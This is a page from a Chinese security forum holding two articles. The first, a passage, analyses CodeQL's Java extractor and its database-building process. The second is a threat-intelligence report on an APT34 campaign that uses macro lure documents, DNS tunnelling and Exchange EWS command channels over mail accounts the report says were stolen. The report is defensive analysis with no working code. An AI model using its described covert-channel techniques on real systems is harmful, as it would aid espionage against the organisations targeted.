* `compiler-tracing12908925883751484166.spec`来自`compiler-tracing.spec`，其中包含`agent`相应参数
* `trace.exe`中包含`ODASA_TRACER_CONFIGURATION`字符串，指向`spec`文件
可以通过`jd-gui`打开`codeql-java-agent.jar`，阅读其中代码，在`com.semmle.extractor.java.Utils#loadClass`中看到
private static Class<?> loadClass(String name) {
Class result;
try {
result = Class.forName(name);
} catch (ClassNotFoundException var10) {
String extractorTools = getExtractorTools();
if (extractorTools == null) {
throw new RuntimeException("Failed to determine SEMMLE_DIST", var10);
}
File extractorJar = new File(extractorTools, "semmle-extractor-java.jar");
if (!extractorJar.exists() || !extractorJar.canRead()) {
throw new RuntimeException("Cannot read semmle-extractor-java jar from " + extractorJar + " -- check SEMMLE_DIST", var10);
}
URL url;
try {
url = extractorJar.getAbsoluteFile().toURI().toURL();
} catch (MalformedURLException var9) {
throw new RuntimeException("Failed to convert " + extractorJar + " to URL", var9);
}
URLClassLoader loader = new URLClassLoader(new URL[]{url});
try {
result = loader.loadClass(name);
} catch (ClassNotFoundException var8) {
throw new RuntimeException("Failed to load " + name + " from " + extractorJar + " -- check SEMMLE_DIST", var8);
}
}
return result;
}
会通过`Utils`加载`semmle-extractor-java.jar`，`codeql-java-agent.jar`的代码量不大，其大致逻辑可以通过静态代码阅读的方式来理解。
### Java Extractor
从前面的分析结果来看，`Extracotr`的操作位于`semmle-extractor-java.jar`中，根据`process
hacker`的内容在IDEA中新增一个`Debug`配置
> 由于中途更换了机器，所以某些路径看上去会不一样，但不影响阅读。此外由于`semmle-extractor-> java.jar`中没有清单文件`MAINFEST.MF`，无法直接运行该`jar`包，所以创建`Application`进行`Debug`即可。
Main class: com.semmle.extractor.java.JavaExtractor
Program arguments: --jdk-version 16 --javac-args @@@E:\Documents\databases\app\log\ext\javac.args
Enviroment variables: CODEQL_PLATFORM=win64;CODEQL_PLATFORM_DLL_EXTENSION=.dll;CODEQL_EXTRACTOR_JAVA_LOG_DIR=E:\Documents\databases\app2\log;CODEQL_JAVA_HOME=E:\Program Files\codeql\tools\win64\java;CODEQL_EXTRACTOR_JAVA_SCRATCH_DIR=E:\Documents\databases\app2\working;CODEQL_EXTRACTOR_JAVA_WIP_DATABASE=E:\Documents\databases\app2;CODEQL_EXTRACTOR_JAVA_ROOT=E:\Program Files\codeql\java;CODEQL_EXTRACTOR_JAVA_TRAP_DIR=E:\Documents\databases\app2\trap\java;CODEQL_TRACER_LOG=E:\Documents\databases\app2\log\build-tracer.log;CODEQL_EXTRACTOR_JAVA_SOURCE_ARCHIVE_DIR=E:\Documents\databases\app2\src;CODEQL_DIST=E:\Program Files\codeql
先不急着调试，直接运行看看它运行后`database/app`目录下有什么变化。注意要在`log/ext`目录下放入相应的文件，这个可以从正常创建数据库的步骤中获取到。运行后会增加两个目录`src`和`trap`，`src`中会放置项目中的源代码，`trap`用于存放`trap`文件。
`codeql`提供了相关命令导入`trap`文件并生成数据库，在前面列出的创建过程中，也有出现它的身影。
Usage: codeql dataset <command> <argument>...
[Plumbing] Work with raw QL datasets.
Commands:
import [Plumbing] Import a set of TRAP files to a raw dataset.
upgrade [Plumbing] Upgrade a dataset so it is usable by the current tools.
cleanup [Plumbing] Clean up temporary files from a dataset.
check [Plumbing] Check a particular dataset for internal consistency.
measure [Plumbing] Collect statistics about the relations in a particular
dataset.
`trap`文件夹中列出了项目源码以及`jdk`依赖中类的信息，文件夹的结构如下
|-- Java
|-- classes
|-- diagnostics
`-- E_\Projects\IdeaProjects\app\src\main\java\org\example\
项目源码对应的`trap`文件位于`E_\Projects\IdeaProjects\app\src\main\java\org\example\`中，里面有`3`个文件，`App.java.dep`，`App.java.set`，`App.java.trap.gz`。可以将`App.java.trap.gz`解压缩查看`trap`文件的内容。项目代码只是调用`System.out.println`输出`Hello,
World!`，所以它的内容相对简单，如下
> `CodeQL`的`DB`架构是基于`Datalog`的，如果你熟悉`Datalog`，那理解这个文件的内容也会容易许多。
// Generated by the CodeQL Java extractor
#10000=@"E:/Projects/IdeaProjects/app/src/main/java/org/example/App.java;sourcefile"
files(#10000,"E:/Projects/IdeaProjects/app/src/main/java/org/example/App.java")
#10001=@"E:/Projects/IdeaProjects/app/src/main/java/org/example;folder"
folders(#10001,"E:/Projects/IdeaProjects/app/src/main/java/org/example")
#10002=@"E:/Projects/IdeaProjects/app/src/main/java/org;folder"
folders(#10002,"E:/Projects/IdeaProjects/app/src/main/java/org")
#10003=@"E:/Projects/IdeaProjects/app/src/main/java;folder"
folders(#10003,"E:/Projects/IdeaProjects/app/src/main/java")
#10004=@"E:/Projects/IdeaProjects/app/src/main;folder"
folders(#10004,"E:/Projects/IdeaProjects/app/src/main")
#10005=@"E:/Projects/IdeaProjects/app/src;folder"
folders(#10005,"E:/Projects/IdeaProjects/app/src")
#10006=@"E:/Projects/IdeaProjects/app;folder"
folders(#10006,"E:/Projects/IdeaProjects/app")
#10007=@"E:/Projects/IdeaProjects;folder"
folders(#10007,"E:/Projects/IdeaProjects")
#10008=@"E:/Projects;folder"
folders(#10008,"E:/Projects")
#10009=@"E:/;folder"
folders(#10009,"E:/")
containerparent(#10009,#10008)
containerparent(#10008,#10007)
containerparent(#10007,#10006)
containerparent(#10006,#10005)
containerparent(#10005,#10004)
containerparent(#10004,#10003)
containerparent(#10003,#10002)
containerparent(#10002,#10001)
containerparent(#10001,#10000)
#10010=@"loc,{#10000},0,0,0,0"
locations_default(#10010,#10000,0,0,0,0)
hasLocation(#10000,#10010)
numlines(#10000,9,8,0)
#10011=@"package;org.example"
packages(#10011,"org.example")
cupackage(#10000,#10011)
#10012=@"class;org.example.App"
#10013=@"loc,{#10000},3,14,3,16"
locations_default(#10013,#10000,3,14,3,16)
hasLocation(#10012,#10013)
numlines(#10012,6,6,0)
#10014=@"type;void"
primitives(#10014,"void")
#10015=@"unknown;sourcefile"
files(#10015,"")
#10016=@"loc,{#10015},0,0,0,0"
locations_default(#10016,#10015,0,0,0,0)
hasLocation(#10014,#10016)
#10017=@"callable;{#10012}.<init>(){#10014}"
locations_default(#10013,#10000,3,14,3,16)
hasLocation(#10017,#10013)
numlines(#10017,1,1,0)
#10018=*
stmts(#10018,0,#10017,0,#10017)
#10019=*
locations_default(#10019,#10000,3,14,3,16)
hasLocation(#10018,#10019)
numlines(#10018,1,1,0)
#10020=*
stmts(#10020,20,#10018,0,#10017)
#10021=*
locations_default(#10021,#10000,3,14,3,16)
hasLocation(#10020,#10021)
numlines(#10020,1,1,0)
#10022=@"class;java.lang.Object"
#10023=@"callable;{#10022}.<init>(){#10014}"
callableBinding(#10020,#10023)
#10024=@"class;java.lang.String"
#10025=@"array;1;{#10024}"
arrays(#10025,"String[]",#10024,1,#10024)
locations_default(#10016,#10015,0,0,0,0)
hasLocation(#10025,#10016)
#10026=@"field;{#10025};length"
#10027=@"type;int"
fields(#10026,"length",#10027,#10025,#10026)
#10028=@"modifier;public"
modifiers(#10028,"public")
hasModifier(#10026,#10028)
#10029=@"modifier;final"
modifiers(#10029,"final")
hasModifier(#10026,#10029)
#10030=@"callable;{#10025}.clone(){#10025}"
methods(#10030,"clone","clone()",#10025,#10025,#10030)
hasModifier(#10030,#10028)
extendsReftype(#10025,#10022)
#10031=@"class;java.lang.Cloneable"
implInterface(#10025,#10031)
#10032=@"class;java.io.Serializable"
implInterface(#10025,#10032)
#10033=@"callable;{#10012}.main({#10025}){#10014}"
#10034=@"loc,{#10000},5,24,5,27"
locations_default(#10034,#10000,5,24,5,27)
hasLocation(#10033,#10034)
numlines(#10033,4,4,0)
#10035=*
stmts(#10035,0,#10033,0,#10033)
#10036=*
locations_default(#10036,#10000,6,5,8,5)
hasLocation(#10035,#10036)
numlines(#10035,3,3,0)
#10037=*
exprs(#10037,62,#10014,#10033,-1)
callableEnclosingExpr(#10037,#10033)
#10038=*
locations_default(#10038,#10000,5,19,5,22)
hasLocation(#10037,#10038)
numlines(#10037,1,1,0)
#10039=@"params;{#10033};0"
params(#10039,#10025,0,#10033,#10039)
paramName(#10039,"args")
#10040=@"loc,{#10000},5,30,5,42"
locations_default(#10040,#10000,5,30,5,42)
hasLocation(#10039,#10040)
#10041=*
exprs(#10041,63,#10025,#10039,-1)
callableEnclosingExpr(#10041,#10033)
#10042=*
locations_default(#10042,#10000,5,30,5,37)
hasLocation(#10041,#10042)
numlines(#10041,1,1,0)
#10043=*
exprs(#10043,62,#10024,#10041,0)
callableEnclosingExpr(#10043,#10033)
#10044=*
locations_default(#10044,#10000,5,30,5,35)
hasLocation(#10043,#10044)
numlines(#10043,1,1,0)
#10045=*
stmts(#10045,14,#10035,0,#10033)
#10046=*
locations_default(#10046,#10000,7,9,7,45)
hasLocation(#10045,#10046)
numlines(#10045,1,1,0)
#10047=*
exprs(#10047,61,#10014,#10045,0)
callableEnclosingExpr(#10047,#10033)
statementEnclosingExpr(#10047,#10045)
#10048=*
locations_default(#10048,#10000,7,9,7,44)
hasLocation(#10047,#10048)
numlines(#10047,1,1,0)
#10049=*
#10050=@"class;java.io.PrintStream"
exprs(#10049,60,#10050,#10047,-1)
callableEnclosingExpr(#10049,#10033)
statementEnclosingExpr(#10049,#10045)
#10051=*
locations_default(#10051,#10000,7,9,7,18)
hasLocation(#10049,#10051)
numlines(#10049,1,1,0)
#10052=@"callable;{#10050}.println({#10024}){#10014}"
callableBinding(#10047,#10052)
#10053=*
exprs(#10053,22,#10024,#10047,0)
callableEnclosingExpr(#10053,#10033)
statementEnclosingExpr(#10053,#10045)
#10054=*
locations_default(#10054,#10000,7,29,7,42)
hasLocation(#10053,#10054)
numlines(#10053,1,1,0)
#10055=*
#10056=@"class;java.lang.System"
exprs(#10055,62,#10056,#10049,-1)
callableEnclosingExpr(#10055,#10033)
statementEnclosingExpr(#10055,#10045)
#10057=*
locations_default(#10057,#10000,7,9,7,14)
hasLocation(#10055,#10057)
numlines(#10055,1,1,0)
#10058=@"field;{#10056};out"
variableBinding(#10049,#10058)
namestrings("""Hello World!""","Hello World!",#10053)
它的内部并不会太难理解，首先这个文件是根据`semmlecode.dbscheme`文件所创建的，每种语言的`extractor`下都有一个这样的文件。
`#10000=@"E:/Projects/IdeaProjects/app/src/main/java/org/example/App.java;sourcefile"`
`#10000`可理解为一个标签，类似于数据库表格某一列的`id`，每个`trap`文件的标签都是独立的。
`files(#10000,"E:/Projects/IdeaProjects/app/src/main/java/org/example/App.java")`
这是一段声明，这个声明是按照`semmlecode.dbscheme`中的约定构建的，你可以在该文件中看到
folders(
unique int id: @folder,
string name: string ref
);
所以上面的内容表示了一个文件，它的`id`为`#10000`，路径为`E:/Projects/IdeaProjects/app/src/main/java/org/example/App.java`。
其余的声明都可以按相同的逻辑来理解。
下面跟进源码看看它具体做了什么。
在`com.semmle.extractor.java.JavaExtractor#main`打下断点，先根据传入的参数创建`JavaExtractor`对象再调用`runExtractor`执行`extractor`操作生成`trap`文件。`jarac-extractor*.log`日志文件对象由静态代码块中的`LOG_ID = MarkerFactory.getMarker("javac-extractor" + PID);`创建
public static void main(String[] args) {
String allArgs = StringUtil.glue(" ", args);
JavaExtractor extractor = new JavaExtractor(args);
boolean hasJavacErrors = false;
try {
hasJavacErrors = !extractor.runExtractor();
} catch (Throwable var8) {
label102: {
if (extractor.log != null) {
extractor.log.error("Exception running the extractor with arguments: {}", allArgs);
extractor.log.error("Exception: ", var8);
}
if (!(var8 instanceof Abort) && !(var8 instanceof FatalError)) {
if (!(var8 instanceof OutOfMemoryError) && !(var8 instanceof UnknownError)) {
break label102;
}
throw var8;
}
throw var8;
}
} finally {
extractor.close();
}
if (extractor.strictJavacErrors && hasJavacErrors) {
throw new UserError("Compilation errors were reported by javac.");
}
}
跟进`runExtractor`看看，代码内容很长，增加了一些注释以便理解
boolean runExtractor() {
long time = System.nanoTime();
long cpuTime = getCurrentThreadCpuTime();
Context context = this.output.getContext();
/* 创建日志对象，将内容写入javac-output+进程id文件 */
Factory<PrintWriter> logFactory = new Factory<PrintWriter>() {
public PrintWriter make(Context c) {
return new PrintWriter(LogbackUtils.streamFor(JavaExtractor.this.log, "javac-output" + JavaExtractor.PID, false));
}
};
context.put(Log.outKey, logFactory);
context.put(Log.errKey, logFactory);
JavacFileManager.preRegister(context, this.specialSourcepathHandling);
/* javac 参数 */
Arguments arguments = this.setupJavacOptions(context);
Options.instance(context).put("ignore.symbol.file", "ignore.symbol.file");
JavaFileManager jfm = (JavaFileManager)context.get(JavaFileManager.class);
JavaFileManager bfm = jfm instanceof DelegatingJavaFileManager ? ((DelegatingJavaFileManager)jfm).getBaseFileManager() : jfm;
JavacFileManager dfm = (JavacFileManager)bfm;
dfm.handleOptions(arguments.getDeferredFileManagerOptions());
arguments.validate();
if (jfm.isSupportedOption(Option.MULTIRELEASE.primaryName) == 1) {
Target target = Target.instance(context);
List<String> list = List.of(target.multiReleaseValue());
jfm.handleOption(Option.MULTIRELEASE.primaryName, list.iterator());
}
JavaCompiler compiler = JavaCompiler.instance(context);
compiler.genEndPos = true;
/* 列出待编译的文件 */
Set<JavaFileObject> fileObjects = arguments.getFileObjects();
/* DiagnosticTrapWriter类用于向trap/java/diagnostics中写入诊断信息（也就是日志） */
DiagnosticTrapWriter diagWriter = this.dw.getDiagnosticTrapWriter();
if (diagWriter != null) {
Iterator var14 = fileObjects.iterator();
while(var14.hasNext()) {
JavaFileObject jfo = (JavaFileObject)var14.next();
diagWriter.writeFileArgument(jfo);
}
}
/* 通过javac解析源代码文件，拿到上下文信息 */
javac_extend.com.sun.tools.javac.util.List<JCCompilationUnit> parsedFiles = compiler.parseFiles(fileObjects);
compiler.enterTrees(compiler.initModules(parsedFiles));
Queue<Queue<javac_extend.com.sun.tools.javac.comp.Env<AttrContext>>> groupedTodos = Todo.instance(context).groupByFile();
long javacInitTime = System.nanoTime() - time;
long javacInitCpuTime = getCurrentThreadCpuTime() - cpuTime;
if (diagWriter != null) {
diagWriter.writeCompilationFileTime((double)javacInitCpuTime / 1.0E9D, (double)javacInitTime / 1.0E9D, 0.0D, 0.0D);
}
int prevErr = 0;
while(true) {
long currJavacCpu;
long cpu;
long currJavacTime;
while(true) {
JCCompilationUnit cu;
while(true) {
Queue todo;
do {
/* 检查待做事项，没有的话就返回 */
if ((todo = (Queue)groupedTodos.poll()) == null) {
long totalExtractorTime = System.nanoTime() - this.extractorStartTime;
this.log(String.format("Javac init time: %.1fs", (double)javacInitTime / 1.0E9D));
this.log(String.format("Javac attr time: %.1fs", (double)this.javacTime / 1.0E9D));
this.log(String.format("Extractor time: %.1fs", (double)this.extractorTime / 1.0E9D));
long otherTime = totalExtractorTime - javacInitTime - this.javacTime - this.extractorTime;
this.log(String.format("Other time: %.1fs", (double)otherTime / 1.0E9D));
this.log(String.format("Total time: %.1fs", (double)totalExtractorTime / 1.0E9D));
int totalErrors = compiler.errorCount();
compiler.close();
if (diagWriter != null) {
diagWriter.writeCompilationFinished((double)getCurrentThreadCpuTime() / 1.0E9D, (double)totalExtractorTime / 1.0E9D);
}
if (totalErrors != 0) {
this.log.error(LOG_ID, totalErrors + " errors were reported by javac.");
return false;
}
return true;
}
cu = null;
Iterator var23 = todo.iterator();
while(var23.hasNext()) {
javac_extend.com.sun.tools.javac.comp.Env<AttrContext> env = (javac_extend.com.sun.tools.javac.comp.Env)var23.next();
if (cu == null) {
cu = env.toplevel;
} else if (cu != env.toplevel) {
throw new CatastrophicError("Not grouped by file: CUs " + cu + " and " + env.toplevel);
}
}
} while(cu == null);
if (diagWriter != null) {
diagWriter.writeCompilationFileStart(cu);
}
cpu = getCurrentThreadCpuTime();
time = System.nanoTime();
try {
Queue<javac_extend.com.sun.tools.javac.comp.Env<AttrContext>> queue = compiler.attribute(todo);
String envFlowChecks = System.getenv("CODEQL_EXTRACTOR_JAVA_FLOW_CHECKS");
if (envFlowChecks == null || Boolean.valueOf(envFlowChecks)) {
compiler.flow(queue);
}
break;
} catch (StackOverflowError | Exception var36) {
this.logThrowable(cu, var36);
}
}
currJavacTime = System.nanoTime() - time;
this.javacTime += currJavacTime;
currJavacCpu = getCurrentThreadCpuTime() - cpu;
cpu = getCurrentThreadCpuTime();
time = System.nanoTime();
try {
CharSequence cachedContent = dfm.getCachedContent(cu.getSourceFile());
if (cachedContent == null) {
try {
cachedContent = cu.getSourceFile().getCharContent(false);
} catch (IOException var37) {
this.logThrowable(cu, var37);
continue;
}
}
String contents = ((CharSequence)cachedContent).toString();
/**
* 根据compiler处理的结果，进行extractor操作
* this.output 存有`trap`和`src`文件的保存路径
* trapFolder=E:\Documents\databases\app2\trap\java
* sourceArchiveFolder=E:\Documents\databases\app2\src
*/
(new CompilationUnitExtractor(this.output, cu, this.dw)).process(contents);
} catch (StackOverflowError | Exception var38) {
this.logThrowable(cu, var38);
}
break;
}
long currExtractorTime = System.nanoTime() - time;
this.extractorTime += currExtractorTime;
long currExtractorCpu = getCurrentThreadCpuTime() - cpu;
if (diagWriter != null) {
diagWriter.writeCompilationFileTime((double)currJavacCpu / 1.0E9D, (double)currJavacTime / 1.0E9D, (double)currExtractorCpu / 1.0E9D, (double)currExtractorTime / 1.0E9D);
int currErr = compiler.errorCount();
int deltaErr = currErr - prevErr;
if (deltaErr > 0) {
String errorMsg = String.valueOf(deltaErr);
diagWriter.writeDiagnostic(DiagSeverity.ErrorHigh, errorMsg, DiagKind.SOURCE, (Label)null);
}
prevErr = currErr;
}
}
}
`process`函数的内容如下，根据输入的源代码文件内容进行处理，而`CompilationUnitExtractor`在创建时传入的`cu(JCCompilationUnit)`对象，保存着编辑器处理后的上下文信息。
以`ClassDeclExtractor#visitClassDef`为例，会通过调用`this.onDemand.getClassKey`得到当前类的唯一标签，其它方法也是类似的。
public void visitClassDef(JCClassDecl that) {
if (this.onDemand.getOutput().getTrackClassOrigins()) {
this.attributeClassFile(that);
}
if (this.extractedClasses.add(that)) {
this.enclosingCallables.push((Object)null);
this.enclosingStatements.push((Object)null);
if (that.type instanceof ClassType) {
this.onDemand.extractPrivateMembers((ClassType)that.type);
} else {
this.log.error(DiagKind.SOURCE, this.treeUtil, "Unexpected type for class " + that.name + ": " + that.type, that);
}
Label classId;
if (that.sym != null) {
/* 获取标签#10012 */
classId = this.onDemand.getClassKey(that.sym);
this.treeUtil.writeKeyedLocation(this.writer, that, classId);
this.treeUtil.writeJavadocAssociation(this.writer, classId, that);
...
}
整个`java
extractor`的代码量太多，我没有深入研究各个部分。`Extractor`有用到名为`javac_extend.com.sun.tools.javac`的包来进行`javac`的操作，但是`jdk`中只有`com.sun.tools.javac`，并不清楚两者的差异具体体现在哪里，但可以看出是进行了一定修改的。整个`jar`包就像缝合怪，将很多功能修改后嵌入在里面。
这样整个`Extractor`的工作流程大概了解，
* 根据`javac`配置文件创建`javac compiler`对象
* `javac`对源码一次进行预处理
* 根据前一步出的处理结果，构造`trap`文件
由于涉及到的内容较多且广泛，继续深入可能会让我陷入泥沼，了解其作用和用法即可，如果有缘会再回来看看。
从前面的分析大致能看出，数据的构建过程中，`codeql`并不需要完整的去编译源代码，只是借助`javac`从源码中那拿点东西。其次，只要能够根据源码文件构造正确的`javac.args`，就可以生成`trap`文件了。之后再通过`codeql
database finalize`即可得到一个数据库。
这种想法在[2]中已经提及，只是可能由于反编译时代码的正确性无法保证完美，其次编译时各个文件编译的先后顺序不同都会导致构造`trap`出现错误。但另一种更简单直接的方式是根据反编译结果，构造编译命令，然后通过`codeql
database create`并指定构造好的编译命令即可，在`github`中也有相关项目。
## Tools
按照前面的分析结果，`CodeQL`创建数据库的过程中并不关心整个编译过程和结果，只是借用编译过程中的部分数据。那么对于任何`java`代码，无论其构建系统为何，只要能够让编译该`java`文件时，编译器不应错误而退出，那么数据库的创建过程就可以正常进行下去。
可以通过下面的脚本来创建数据库，这里以`dubbo`项目为实例，使用先需要下载好[ecj.jar](https://mvnrepository.com/artifact/org.eclipse.jdt.core.compiler/ecj/4.6.1)，这里使用`ecj`的目的是，相比`javac`而言，它更能容忍编译错误，从而避免创建数据库过程失败。
import pathlib
import os
def compile_cmd_file_create(save_path, ecj_path):
with open("{}/file.txt".format(save_path), "w+") as f:
for java_path in pathlib.Path(save_path).glob('**/*.java'):
f.write(str(java_path) + "\n")
ecj_absolute_path = pathlib.Path(ecj_path).resolve()
compile_cmd = "java -jar {} -encoding UTF-8 -8 " \
"-warn:none -noExit @{}/file.txt".format(ecj_absolute_path, save_path)
with open("{}/run.cmd".format(save_path), "w+") as f:
f.write(compile_cmd)
with open("{}/run.sh".format(save_path), "w+") as f:
f.write(compile_cmd)
if __name__ == '__main__':
self_ecj_path = os.getcwd() + r"/ecj-4.6.1.jar"
compile_cmd_file_create(os.getcwd() + r"/dubbo", self_ecj_path)
运行后会在`os.getcwd() + r"/dubbo"`中生成`run.sh/run.cmd`文件，之后进入`os.getcwd() +
r"/dubbo"`运行
codeql database create --language=java -c "bash run.sh" <path to database>
~~就可以快速创建数据库，当然它与通过正常方式创建的结果是否一致尚未验证。~~
这种不顾编译错误情况的方式创建的数据库，会丢失数据流的信息从而导致失去它存在的意义，因为当编译某个文件它的依赖未找到时，生成的`trap`文件也是不完整的。
## References
1.<https://help.semmle.com/lgtm-enterprise/user/help/generate-database.html>
2\. <https://testanull.com/build-codeql-db-without-source-code>
3\. <https://paper.seebug.org/1324/>
* * * | 社区文章 |
**作者：启明星辰ADLab
原文链接：<https://mp.weixin.qq.com/s/o_EVjBVN2sQ1q7cl4rUXoQ>**
# 一、概述
2021年以来，启明星辰`ADLab`追踪到多起以军队事务和移动运营商业务为话题的定向攻击活动。攻击者伪装成为军事部门以军队内部事务如海军战舰就绪清单、某军官解雇令为诱饵对目标发起定向攻击并植入木马，同时也常常伪装成为一些国家的重要企业以招聘人员为由攻击目标。我们通过对攻击目标、入侵技术特点、代码同源性等因素进行比对分析后，确认此批攻击来源于`APT34`组织。`APT34`组织`2019`年的武器库泄露事件中曾暴露出其控制的`Exchange`服务器的`webshell`列表，这些列表中包含了十多家被黑客成功渗透过的中国企业和机构。
APT34首次被披露于`2016`年，是一个来自于伊朗的`APT`组织，其最早活跃时间可追溯到`2014`年，攻击目标主要集中在中东及亚洲地区，涉及金融、政府、能源、化工、电信等行业。`APT34`善于采用通信隐匿技术来规避检测和追踪，比如：通过`Exchange`
`Web` `Services (EWS)` API实现高可信度、高隐匿性的“EWS隧道技术”。
APT34在此次活动中做了大量的技术改进和升级，其中大部分都是以提高攻击的匿名性、隐蔽性、可控性和安全性为目的，防止被检测和追踪。比如`APT34`在本次攻击中，首次利用预攻击诱饵文档关闭宏提示；首次使用“匿名DNS隧道技术”，借助公共服务商`RequestBin`提供的匿名`DNS`服务，隐匿的上报设备指纹信息和感染进度；升级`Karkoff`后门，优化了“EWS隧道技术”，提高了基于`EWS`通信的内容安全，如基于`EWS`隧道利用`RSA`和`AES`算法对控制指令进行加密、提高了邮件载体的迷惑性以及利用窃取的EWS账号作为控制命令服务器等等手段以掩人耳目；首次使用`JS`代码注释作为控制通道，将控制指令加密隐藏于`Javascript`的注释中，使得控制命令的下发难以检测等等。
此外，本次攻击活动中，黑客还将窃取的黎巴嫩军方和移动运营商账户作为本次攻击的控制命令服务器，而`APT34`为了进一步的隐蔽自身，长期对`Exchange`服务进行攻击扫描，控制大量国家重要机构和企业的`Exchange`服务器，同时从这些服务器上窃取了相关的登录凭证，进而利用`Exchange`服务作为控制端服务器从事间谍活动。
本文将对`APT34`的本次攻击活动进行深入的分析和探讨，首先简要介绍该组织的历史活动，然后对其攻击手法，所使用的新的基础设施，以及本次攻击所采用的新技术进行分析，最后对攻击过程中所使用的后门以及相关的技术细节进行深入分析。
# 二、组织分析
长期以来，`APT34`广泛地在全球进行网络攻击，收集重要的网络攻击资源，包括各种登录凭证，匿名资源，隐蔽通道，然后整合这些资源对某些特定的目标发起定向攻击，本节将重点分析该组织在本次攻击活动中所使用的技术和资源。
## 2.1 历史攻击活动
为了对APT34在此次攻击活动中使用的策略和技术进行全面了解，启明星辰`ADLab`结合该组织近期和历史主要活动进行梳理总结，绘制了`APT34`活动时间线（如图2-1）。从时间线可以看出，APT34的攻击目标主要集中在中东地区，其定制了大量的网络武器，且攻击武器持续升级，攻击手法也在不断推陈出新。从攻击入口来看，主要采用鱼叉式钓鱼邮件、社工钓鱼、NDAY漏洞等方式实施组合攻击。在隐匿通信技术使用上，APT34历次的攻击活动普遍具有一致性——通用手段是借助HTTP隧道和DNS隧道进行流量隐匿。近期则更多的采用了高可信度、高隐匿性的EWS隧道技术来绕过安全检测。
图2-1 攻击活动时间线
APT34（OilRig）于`2016`年首次被`Palo Alto
Networks`发现，其最早的攻击活动可追溯到`2014`年。自该黑客组织活跃开始，其每年都会针对中东地区的金融、政府、能源、化工、电信等重要行业实施网络攻击。2016年5月，首次被发现通过鱼叉式钓鱼邮件针对沙特阿拉伯金融机构发动攻击,使用了基于`HTTP`和`DNS`通信的木马`Helminth`。2017年8月开始利用最新的`Office
Nday`漏洞`CVE-2017-0199`和`CVE-2017-11882`针对中东地区的政府机构实施钓鱼攻击，涉及木马`POWRUNER`
和`BONDUPDATE`。2018年则持续针对中东各国的政府机构进行攻击，后门为基于`Powershell`的变种木马`BONDUPDATE`。2019年6月开始，疑似由APT34与`Hive0081`组织协作开发的新型恶意数据擦除软件`ZeroCleare`被用于执行破坏性攻击，影响到中东地区多个能源和工业部门的组织，约1400台设备遭感染。2019年7月，伪装成剑桥大学“研究人员”，通过`LinkedIn`（领英）分发恶意文件并进行网络钓鱼，使用了三类新型恶意软件`TONEDEAF`、`VALUEVAULT`和`LONGWATCH`。2020年4月，在针对中东电信组织的攻击中新颖的使用了基于`EWS
API`的隧道通信技术（邮箱作为`C&C`），可将控制指令隐写在电子邮件的图像附件中传输，关联木马`RDAT、Karkoff`。2020年5月，在网络攻击中使用`DNS-over-HTTPS（DoH）`协议，也是首批部署`DoH`的`APT`组织之一。2021年1月至4月，继续针对中东地区实施攻击，通过公共服务商`RequestBin`提供的`DNS`隧道服务上传信息，同时采用`EWS
API`隧道和HTTP隧道的方式隐匿通信，本文也将重点分析最新攻击活动中涉及的木马变种`KarkoffDll`和`SideTwist`。
## 2.2 攻击手法
在此次攻击活动中，`APT34`主要采用`Word`诱饵文档作为攻击入口，结合窃取的`Exchange`账号完成组合入侵。基于文档内容、语言、`C&C`（黑客窃取的邮件账户）所属区域，可以判断是针对中东地区的定向攻击（主要目标为黎巴嫩，还可能包括沙特阿拉伯、科威特和阿联酋等）。攻击文档伪装成“黎巴嫩海军战舰就绪清单”、“`Ntiva`公司的招聘信息”（美国IT服务商）、“解雇令”等内容，并在文档正文中添加诱导性描述以诱使目标启用恶意宏代码，从而植入后门程序。值得注意的是，一些攻击样本内置了黎巴嫩政府、移动运营商的`Exchange`邮箱账户登陆凭证。相关账户在遭到攻击者的入侵后，被用于以`EWS
API`协议的方式传输恶意流量。可以推测攻击者在先期准备阶段已成功入侵了有关组织或与其具有信任关系的邮件账户，并借高可信`Exchange`服务器为信任节点中转通信，隐藏恶意行为。我们将此次攻击的手法总结如图2-2所示。
图2-2 攻击手法
攻击活动中使用的诱饵文档如下：
图2-3 伪装成黎巴嫩海军战舰就绪清单
图2-4 伪装成Ntiva公司的招聘信息
图2-5 伪装成解雇令
图2-6 无实际内容（诱导启用宏）
## 2.3 基础设施分析
在本攻击事件中，黑客使用了更多类型的基础设施。通过对该批攻击样本回连的数据进行收集和分析，我们将本次攻击的基础上设施分为三类，包含基于DNS协议的攻击活动上报设施、基于EWS的控制命令设施和基于HTTP/HTTPS协议的控制命令设施。
* 1）DNS隐匿通信设施
这一部分设施是基于公开的DNSBin服务部署的子域服务，主要用于通知黑客目标已经中招以便进行下一步的攻击。攻击者利用公共服务商Requsetbin提供的DNS隧道服务，接收从受害者设备上传的相关信息。表2-1为该组织在此次攻击活动中所使用的部分DNS信息。
表2-1 DNS上报域名
上表中蓝色部分为黑客申请的DNSbin服务域名，攻击代码在目标设备上成功执行后会基于目标设备信息和简单随机化数据构造子域，最后将这两部分组合起来作为上线请求通知黑客。通过子域信息可以反推出受害设备的一些简单信息。相关受害者DNS请求数据如下表所示：
表2-2 受害者DNS请求数据
从上表可以看出，子域数据中包含了被截断的主机名、主机用户名、随机信息以及攻击阶段信息（技术细节请参见攻击案例分析部分）。
* 2）EWS通信设施（KarkoffDll）
该设施主要用于控制命令服务器，当诱饵文档在受害者主机上成功地植入`KarkoffDll`后，将通过EWS与这部分设施通信。这期间交互数据主要以控制命令和任务执行反馈信息为主。`EWS
(Exchange Web Services)` 是微软实现的一种客户端和服务器之间的交换信息的协议，该协议是基于标准的`web
service`工作的，通过使用`HTTP`+`XML`+`SOAP`来传输消息。黑客基于该协议则可利用邮箱来对目标实施远程管理，依附于高信任度的合法邮件服务器作为跳板，既能有效的对抗监管审查和流量分析，又能有效的隐藏其真实地址。
因此这里我们将一个被黑客控制的邮箱账户直接称为控制命令服务器`C&C`。其中在攻击样本中内置了多个邮件账户信息`sig.dir.logistic`，`ahabib`和`masters.michelle`，其中前两个账户位于服务器`mail.army.gov.lb`和`mail.touch.com.lb`，分别属于黎巴嫩军方和黎巴嫩移动络运营商的邮件服务器，而后一个属于比较普通公共邮箱服务器`mail.protonmail.com`。默认情况下攻击样本回连到`sig.dir.logistic或ahabib`，当然黑客可以远程指定由`masters.michelle`邮箱账户接管控制。
表2-3 本次攻击涉及的Exchange邮箱账户
通过相关情报分析，黎巴嫩军方和移动运营商的邮箱账户极有可能为该黑客组织前期通过钓鱼或`Exchange`爆破工具窃取。该组织在`2019`年曾发生过数据泄露事件，其通过漏洞、钓鱼攻击、`Exchange`爆破工具攻陷了大量`Exchange`账户。下表梳理了`APT34`使用的部分钓鱼链接：
表2-4 疑似AP34使用的钓鱼链接
